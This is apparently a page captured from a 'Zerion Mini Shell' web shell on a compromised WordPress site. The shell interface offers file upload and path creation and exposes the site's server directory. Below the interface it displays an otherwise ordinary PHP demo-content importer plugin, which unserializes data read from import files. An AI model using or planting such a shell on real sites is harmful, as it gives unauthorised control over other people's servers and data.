%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/friendstravel.al/wp-content/plugins/physc-vc-addon/importer/
Upload File :
Create Path :
Current File : /var/www/html/friendstravel.al/wp-content/plugins/physc-vc-addon/importer/radium-importer.php

<?php

/**
 * Class Radium_Theme_Importer
 *
 * This class provides the capability to import demo content as well as import widgets and WordPress menus
 *
 * @since    2.2.0
 *
 * @category RadiumFramework
 * @package  NewsCore WP
 * @author   Franklin M Gitonga
 * @link     http://radiumthemes.com/
 *
 *
 * Modified to work with Reduxframework/demo_importer extension
 *
 */

// Exit if accessed directly
if ( !defined( 'ABSPATH' ) ) {
	exit;
}

// Don't duplicate me!
if ( !class_exists( 'Radium_Theme_Importer' ) ) {
	class Radium_Theme_Importer {

		/**
		 * Holds a copy of the object for easy reference.
		 *
		 * @since 2.2.0
		 *
		 * @var object
		 */
		public $theme_options_file;

		public $setting;

		/**
		 * Holds a copy of the object for easy reference.
		 *
		 * @since 2.2.0
		 *
		 * @var object
		 */
		public $widgets;

		/**
		 * Holds a copy of the object for easy reference.
		 *
		 * @since 2.2.0
		 *
		 * @var object
		 */
		public $content_demo;

		/**
		 * Flag imported to prevent duplicates
		 *
		 * @since 2.2.0
		 *
		 * @var object
		 */
		public $flag_as_imported = array();

		/**
		 * Holds a copy of the object for easy reference.
		 *
		 * @since 2.2.0
		 *
		 * @var object
		 */
		private static $instance;

		/**
		 * Constructor. Hooks all interactions to initialize the class.
		 *
		 * @since 2.2.0
		 */
		public function __construct() {

			self::$instance = $this;

			$this->theme_options_file = apply_filters( 'demo_importer_options_file_location', $this->demo_files_path . $this->theme_options_file_name, $this->active_import );
			$this->setting            = apply_filters( 'demo_importer_setting_file_location', $this->demo_files_path . $this->setting_file_name, $this->active_import );
			$this->widgets            = apply_filters( 'demo_importer_widget_file_location', $this->demo_files_path . $this->widgets_file_name, $this->active_import );
			$this->content_demo       = apply_filters( 'demo_importer_content_file_location', $this->demo_files_path . $this->content_demo_file_name, $this->active_import );

			add_filter( 'add_post_metadata', array( $this, 'check_previous_meta' ), 10, 5 );

			add_action( 'import_end', array( $this, 'after_wp_importer' ) );

			$this->process_imports();

		}

		/**
		 * Avoids adding duplicate meta causing arrays in arrays from WP_importer
		 *
		 * @param null    $continue
		 * @param unknown $post_id
		 * @param unknown $meta_key
		 * @param unknown $meta_value
		 * @param unknown $unique
		 *
		 * @return
		 */
		public function check_previous_meta( $continue, $post_id, $meta_key, $meta_value, $unique ) {

			$old_value = get_metadata( 'post', $post_id, $meta_key );

			if ( count( $old_value ) == 1 ) {
				if ( $old_value[0] === $meta_value ) {
					return false;
				} elseif ( $old_value[0] !== $meta_value ) {
					update_post_meta( $post_id, $meta_key, $meta_value );

					return false;
				}
			}

			return null;
		}

		public function after_wp_importer() {

			$imported_demos = get_option( 'data_imported_demos' );

			$this->active_import[$this->active_import_id]['imported'] = 'imported';

			if ( empty( $imported_demos ) ) {
				$imported_demos = $this->active_import;
			} else {
				$imported_demos = array_merge( $imported_demos, $this->active_import );
			}

			do_action( 'demo_importer_after_content_import', $this->active_import, $this->demo_files_path );

			update_option( 'data_imported_demos', $imported_demos );
		}


		public function process_imports() {
			if ( !empty( $this->setting ) && is_file( $this->setting ) ) {
				$this->process_setting_import_file( $this->setting );
			}

			if ( !empty( $this->content_demo ) && is_file( $this->content_demo ) ) {
				$this->set_demo_data( $this->content_demo );
			}
			if ( !empty( $this->theme_options_file ) && is_file( $this->theme_options_file ) ) {
				$this->set_demo_theme_options( $this->theme_options_file );
			}
			$this->set_demo_menus();

			if ( !empty( $this->widgets ) && is_file( $this->widgets ) ) {
				$this->process_widget_import_file( $this->widgets );
			}

		}

		/**
		 * add_widget_to_sidebar Import sidebars
		 *
		 * @param string $sidebar_slug    Sidebar slug to add widget
		 * @param string $widget_slug     Widget slug
		 * @param string $count_mod       position in sidebar
		 * @param array  $widget_settings widget settings
		 *
		 * @since 2.2.0
		 *
		 * @return null
		 */
		public function add_widget_to_sidebar( $sidebar_slug, $widget_slug, $count_mod, $widget_settings = array() ) {

			$sidebars_widgets = get_option( 'sidebars_widgets' );

			if ( !isset( $sidebars_widgets[$sidebar_slug] ) ) {
				$sidebars_widgets[$sidebar_slug] = array( '_multiwidget' => 1 );
			}

			$newWidget = get_option( 'widget_' . $widget_slug );

			if ( !is_array( $newWidget ) ) {
				$newWidget = array();
			}

			$count                             = count( $newWidget ) + 1 + $count_mod;
			$sidebars_widgets[$sidebar_slug][] = $widget_slug . '-' . $count;

			$newWidget[$count] = $widget_settings;

			update_option( 'sidebars_widgets', $sidebars_widgets );
			update_option( 'widget_' . $widget_slug, $newWidget );

		}

		public function set_demo_data( $file ) {

			if ( !defined( 'WP_LOAD_IMPORTERS' ) ) {
				define( 'WP_LOAD_IMPORTERS', true );
			}

			require_once ABSPATH . 'wp-admin/includes/import.php';

			$importer_error = false;

			if ( !class_exists( 'WP_Importer' ) ) {

				$class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';

				if ( file_exists( $class_wp_importer ) ) {

					require_once $class_wp_importer;

				} else {

					$importer_error = true;

				}

			}

			if ( !class_exists( 'WP_Import' ) ) {

				//$class_wp_import = ABSPATH . '/wp-content/plugins/physc-vc-addon/import/wordpress-importer.php';

				$class_wp_import = dirname( __FILE__ ) . '/wordpress-importer.php';
				if ( file_exists( $class_wp_import ) ) {
					require_once $class_wp_import;
				} else {
					$importer_error = true;
				}
			}

			if ( $importer_error ) {
				die( "Error on import" );
			} else {
				if ( !is_file( $file ) ) {
					echo "The XML file containing the dummy content is not available or could not be read .. You might want to try to set the file permission to chmod 755.<br/>If this doesn't work please use the Wordpress importer and import the XML file (should be located in your download .zip: Sample Content folder) manually ";
				} else {
					@set_time_limit( 0 );
					$wp_import                    = new WP_Import();
					$wp_import->fetch_attachments = true;
					$wp_import->import( $file );
				}

			}

		}

		public function set_demo_menus() {

		}

		public function set_demo_theme_options( $file ) {

			// File exists?
			if ( !file_exists( $file ) ) {
				wp_die(
					__( 'Theme options Import file could not be found. Please try again.', 'physc-vc-addon' ),
					'',
					array( 'back_link' => true )
				);
			}

			// Get file contents and decode
			$data = file_get_contents( $file );
			$data = json_decode( $data, true );
			$data = maybe_unserialize( $data );
			// Only if there is data
			if ( !empty( $data ) || is_array( $data ) ) {
				// Hook before import
				$data = apply_filters( 'radium_theme_import_theme_options', $data );
				update_option( $this->theme_option_name, $data );
			}

			do_action( 'demo_importer_after_theme_options_import', $this->active_import, $this->demo_files_path );

		}

		public function process_setting_import_file( $file ) {

			// File exists?
			if ( !is_file( $file ) ) {
				return false;
			}

			$woo_datas = file_get_contents( $file );
			$woo_datas = json_decode( $woo_datas, true );
			if ( count( array_filter( $woo_datas ) ) < 1 ) {
				return false;
			}
			$keys = array_keys( $woo_datas );
			foreach ( $keys as $key ) {
				if ( $option_data = unserialize( $woo_datas[$key] ) ) {
					update_option( $key, unserialize( $woo_datas[$key] ) );
				} else {
					$format = esc_html__( 'Update Option "%d" error', 'vi-importer' );
					echo sprintf( $format, $key );
				}
			}

		}

		/**
		 * Available widgets
		 *
		 * Gather site's widgets into array with ID base, name, etc.
		 * Used by export and import functions.
		 *
		 * @since 2.2.0
		 *
		 * @global array $wp_registered_widget_updates
		 * @return array Widget information
		 */
		function available_widgets() {

			global $wp_registered_widget_controls;

			$widget_controls = $wp_registered_widget_controls;

			$available_widgets = array();

			foreach ( $widget_controls as $widget ) {

				if ( !empty( $widget['id_base'] ) && !isset( $available_widgets[$widget['id_base']] ) ) { // no dupes

					$available_widgets[$widget['id_base']]['id_base'] = $widget['id_base'];
					$available_widgets[$widget['id_base']]['name']    = $widget['name'];
				}
			}

			return apply_filters( 'radium_theme_import_widget_available_widgets', $available_widgets );

		}


		/**
		 * Process import file
		 *
		 * This parses a file and triggers importation of its widgets.
		 *
		 * @since 2.2.0
		 *
		 * @param string  $file Path to .wie file uploaded
		 *
		 * @global string $widget_import_results
		 */
		function process_widget_import_file( $file ) {
			// File exists?

			if ( !file_exists( $file ) ) {
				wp_die(
					__( 'Widget Import file could not be found. Please try again.', 'physc-vc-addon' ),
					'',
					array( 'back_link' => true )
				);
			}

			// Get file contents and decode
			$data = file_get_contents( $file );

			$data = json_decode( $data );

			// Delete import file
			//unlink( $file );

			// Import the widget data
			// Make results available for display on import/export page
			$this->widget_import_results = $this->import_widgets( $data );
		}


		/**
		 * Import widget JSON data
		 *
		 * @since 2.2.0
		 * @global array $wp_registered_sidebars
		 *
		 * @param object $data JSON widget data from .wie file
		 *
		 * @return array Results array
		 */
		public function import_widgets( $data ) {

			global $wp_registered_sidebars;

			// Have valid data?
			// If no data or could not decode
			if ( empty( $data ) || !is_object( $data ) ) {
				return;
			}

			// Hook before import
			$data = apply_filters( 'radium_theme_import_widget_data', $data );

			// Get all available widgets site supports
			$available_widgets = $this->available_widgets();

			// Get all existing widget instances
			$widget_instances = array();
			foreach ( $available_widgets as $widget_data ) {
				$widget_instances[$widget_data['id_base']] = get_option( 'widget_' . $widget_data['id_base'] );
			}

			// Begin results
			$results = array();

			// Loop import data's sidebars
			foreach ( $data as $sidebar_id => $widgets ) {

				// Skip inactive widgets
				// (should not be in export file)
				if ( 'wp_inactive_widgets' == $sidebar_id ) {
					continue;
				}

				// Check if sidebar is available on this site
				// Otherwise add widgets to inactive, and say so
				if ( isset( $wp_registered_sidebars[$sidebar_id] ) ) {
					$sidebar_available    = true;
					$use_sidebar_id       = $sidebar_id;
					$sidebar_message_type = 'success';
					$sidebar_message      = '';
				} else {
					$sidebar_available    = false;
					$use_sidebar_id       = 'wp_inactive_widgets'; // add to inactive if sidebar does not exist in theme
					$sidebar_message_type = 'error';
					$sidebar_message      = __( 'Sidebar does not exist in theme (using Inactive)', 'physc-vc-addon' );
				}

				// Result for sidebar
				$results[$sidebar_id]['name']         = !empty( $wp_registered_sidebars[$sidebar_id]['name'] ) ? $wp_registered_sidebars[$sidebar_id]['name'] : $sidebar_id; // sidebar name if theme supports it; otherwise ID
				$results[$sidebar_id]['message_type'] = $sidebar_message_type;
				$results[$sidebar_id]['message']      = $sidebar_message;
				$results[$sidebar_id]['widgets']      = array();

				// Loop widgets
				foreach ( $widgets as $widget_instance_id => $widget ) {

					$fail = false;

					// Get id_base (remove -# from end) and instance ID number
					$id_base            = preg_replace( '/-[0-9]+$/', '', $widget_instance_id );
					$instance_id_number = str_replace( $id_base . '-', '', $widget_instance_id );

					// Does site support this widget?
					if ( !$fail && !isset( $available_widgets[$id_base] ) ) {
						$fail                = true;
						$widget_message_type = 'error';
						$widget_message      = __( 'Site does not support widget', 'physc-vc-addon' ); // explain why widget not imported
					}

					// Filter to modify settings before import
					// Do before identical check because changes may make it identical to end result (such as URL replacements)
					$widget = apply_filters( 'radium_theme_import_widget_settings', $widget );

					// Does widget with identical settings already exist in same sidebar?
					if ( !$fail && isset( $widget_instances[$id_base] ) ) {

						// Get existing widgets in this sidebar
						$sidebars_widgets = get_option( 'sidebars_widgets' );
						$sidebar_widgets  = isset( $sidebars_widgets[$use_sidebar_id] ) ? $sidebars_widgets[$use_sidebar_id] : array(); // check Inactive if that's where will go

						// Loop widgets with ID base
						$single_widget_instances = !empty( $widget_instances[$id_base] ) ? $widget_instances[$id_base] : array();
						foreach ( $single_widget_instances as $check_id => $check_widget ) {

							// Is widget in same sidebar and has identical settings?
							if ( in_array( "$id_base-$check_id", $sidebar_widgets ) && (array) $widget == $check_widget ) {

								$fail                = true;
								$widget_message_type = 'warning';
								$widget_message      = __( 'Widget already exists', 'physc-vc-addon' ); // explain why widget not imported

								break;

							}

						}

					}

					// No failure
					if ( !$fail ) {
						// Add widget instance
						$single_widget_instances   = get_option( 'widget_' . $id_base ); // all instances for that widget ID base, get fresh every time
						$single_widget_instances   = !empty( $single_widget_instances ) ? $single_widget_instances : array( '_multiwidget' => 1 ); // start fresh if have to
						$single_widget_instances[] = (array) $widget; // add it

						// Get the key it was given
						end( $single_widget_instances );
						$new_instance_id_number = key( $single_widget_instances );

						// If key is 0, make it 1
						// When 0, an issue can occur where adding a widget causes data from other widget to load, and the widget doesn't stick (reload wipes it)
						if ( '0' === strval( $new_instance_id_number ) ) {
							$new_instance_id_number                           = 1;
							$single_widget_instances[$new_instance_id_number] = $single_widget_instances[0];
							unset( $single_widget_instances[0] );
						}

						// Move _multiwidget to end of array for uniformity
						if ( isset( $single_widget_instances['_multiwidget'] ) ) {
							$multiwidget = $single_widget_instances['_multiwidget'];
							unset( $single_widget_instances['_multiwidget'] );
							$single_widget_instances['_multiwidget'] = $multiwidget;
						}

						// Update option with new widget
						update_option( 'widget_' . $id_base, $single_widget_instances );

						// Assign widget instance to sidebar
						$sidebars_widgets                    = get_option( 'sidebars_widgets' ); // which sidebars have which widgets, get fresh every time
						$new_instance_id                     = $id_base . '-' . $new_instance_id_number; // use ID number from new widget instance
						$sidebars_widgets[$use_sidebar_id][] = $new_instance_id; // add new instance to sidebar
						update_option( 'sidebars_widgets', $sidebars_widgets ); // save the amended data

						// Success message
						if ( $sidebar_available ) {
							$widget_message_type = 'success';
							$widget_message      = __( 'Imported', 'physc-vc-addon' );
						} else {
							$widget_message_type = 'warning';
							$widget_message      = __( 'Imported to Inactive', 'physc-vc-addon' );
						}

					}

					// Result for widget instance
					$results[$sidebar_id]['widgets'][$widget_instance_id]['name']         = isset( $available_widgets[$id_base]['name'] ) ? $available_widgets[$id_base]['name'] : $id_base; // widget name or ID if name not available (not supported by site)
					$results[$sidebar_id]['widgets'][$widget_instance_id]['title']        = $widget->title ? $widget->title : __( 'No Title', 'physc-vc-addon' ); // show "No Title" if widget instance is untitled
					$results[$sidebar_id]['widgets'][$widget_instance_id]['message_type'] = $widget_message_type;
					$results[$sidebar_id]['widgets'][$widget_instance_id]['message']      = $widget_message;

				}

			}
			// Hook after import
			do_action( 'radium_theme_import_widget_after_import' );

			// Return results
			return apply_filters( 'radium_theme_import_widget_results', $results );

		}

	}//class
}//function_exists
?>

Zerion Mini Shell 1.0